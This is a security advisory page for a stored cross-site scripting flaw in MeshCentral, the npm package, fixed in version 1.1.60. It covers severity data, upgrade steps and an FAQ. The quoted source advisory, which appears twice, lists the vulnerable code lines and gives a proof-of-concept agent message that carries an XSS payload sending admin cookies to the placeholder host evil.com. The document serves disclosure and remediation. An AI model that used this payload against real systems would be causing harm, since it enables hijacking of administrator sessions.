GHSA-c7hr-448w-65px: Meshcentral MeshCentral Has Unsanitized Data Fields Vulnerability

HIGH
CVSS 8.3
CWE-20 CWE-74
Published
Advisory Summary

GHSA-c7hr-448w-65px is a HIGH (CVSS 8.3) meshcentral has unsanitized data fields vulnerability (CWE-20: Improper Input Validation) affecting Meshcentral libraries in the npm ecosystem. The issue involves meshcentral has unsanitized data fields. Remediation is available by upgrading affected packages to version 1.1.60.

GHSA-c7hr-448w-65px at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-c7hr-448w-65px
Severity HIGH
CVSS v3.1 Base Score 8.3
CWE Classification CWE-20: Improper Input Validation
Affected Product Meshcentral
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-c7hr-448w-65px

To remediate this vulnerability, upgrade all affected Meshcentral dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

meshcentral fixed: 1.1.60
npm install meshcentral@1.1.60
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls meshcentral

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-c7hr-448w-65px, inspect your project dependencies using npm:

npm ls meshcentral

Analyze the terminal output to locate any version of Meshcentral in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.60), your application is affected.

Note: The npm ls meshcentral command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Meshcentral, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Description A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted. ### Technical Details ```javascript // meshagent.js:1903 -- Agent input, only type check if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc; change = 1; } // default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml() if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); } // addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML // INCONSISTENCY: Same field IS escaped elsewhere: // Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s) // Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '') ``` Additional unescaped agent fields: - node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH - cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM - volumes[].name unescaped in file browser (line 12612) -- MEDIUM No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline. ### Proof of Concept Rogue agent sends via WebSocket: ```json { "action": "coreinfo", "osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>", "name": "Legit-PC" } ``` Payload fires when any admin views the device details panel. No click required. <img width="939" height="587" alt="image" src="https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1" />

GHSA-c7hr-448w-65px Affected Meshcentral Versions

1 component(s)
Fixed Versions:
1.1.60
Product / Package Ecosystem Affected Versions Fixed Version
meshcentral
npm
< 1.1.60
1.1.60

References

Frequently Asked Questions

What is GHSA-c7hr-448w-65px?
GHSA-c7hr-448w-65px is a security vulnerability in Meshcentral involving MeshCentral has unsanitized data fields under CWE-20: Improper Input Validation.
Which Meshcentral versions are affected?
Affected versions include releases prior to 1.1.60 across affected packages: meshcentral.
What version fixes GHSA-c7hr-448w-65px?
Upgrading to 1.1.60 (or the latest patched release for your respective branch) resolves the vulnerability.
Is meshcentral affected?
Yes, meshcentral is affected in releases prior to 1.1.60. Upgrade your dependency to 1.1.60 or later.
What is the CVSS score of GHSA-c7hr-448w-65px?
GHSA-c7hr-448w-65px has a CVSS v3.1 base score of 8.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with GHSA-c7hr-448w-65px?
GHSA-c7hr-448w-65px is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check npm dependencies for GHSA-c7hr-448w-65px?
Run the dependency tree command: 'npm ls meshcentral'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c7hr-448w-65px",
  "modified" : "2026-08-18T20:09:35Z",
  "published" : "2026-08-18T20:09:35Z",
  "aliases" : [ ],
  "summary" : "MeshCentral has unsanitized data fields",
  "details" : "### Description\n\nA rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the\ndevice details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.\n\n### Technical Details\n\n```javascript\n// meshagent.js:1903 -- Agent input, only type check\nif (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;\nchange = 1; }\n\n// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()\nif (node.osdesc) { x += addDeviceAttribute(\"Operating System\", node.osdesc); }\n// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML\n\n// INCONSISTENCY: Same field IS escaped elsewhere:\n// Line 13529: addDetailItem(\"Version\", EscapeHtml(node.osdesc), s)\n// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')\n```\n\nAdditional unescaped agent fields:\n\n- node.name unescaped in sharing dialog (line 4695), user group list (line 18625),\npermission dialogs (lines 18675, 19413) -- HIGH\n- cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM\n- volumes[].name unescaped in file browser (line 12612) -- MEDIUM\n\nNo server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.\n\n### Proof of Concept\n\nRogue agent sends via WebSocket:\n\n```json\n{\n  \"action\": \"coreinfo\",\n  \"osdesc\": \"<img src=x onerror='fetch(\\\"https://evil.com/steal?\\\"+document.cookie)'>\",\n  \"name\": \"Legit-PC\"\n}\n```\n\nPayload fires when any admin views the device details panel. No click required.\n\n<img width=\"939\" height=\"587\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1\" />",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "meshcentral"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.60"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Ylianst/MeshCentral/security/advisories/GHSA-c7hr-448w-65px"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Ylianst/MeshCentral"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Ylianst/MeshCentral/releases/tag/1.1.60"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-74" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-18T20:09:35Z",
    "nvd_published_at" : null
  }
}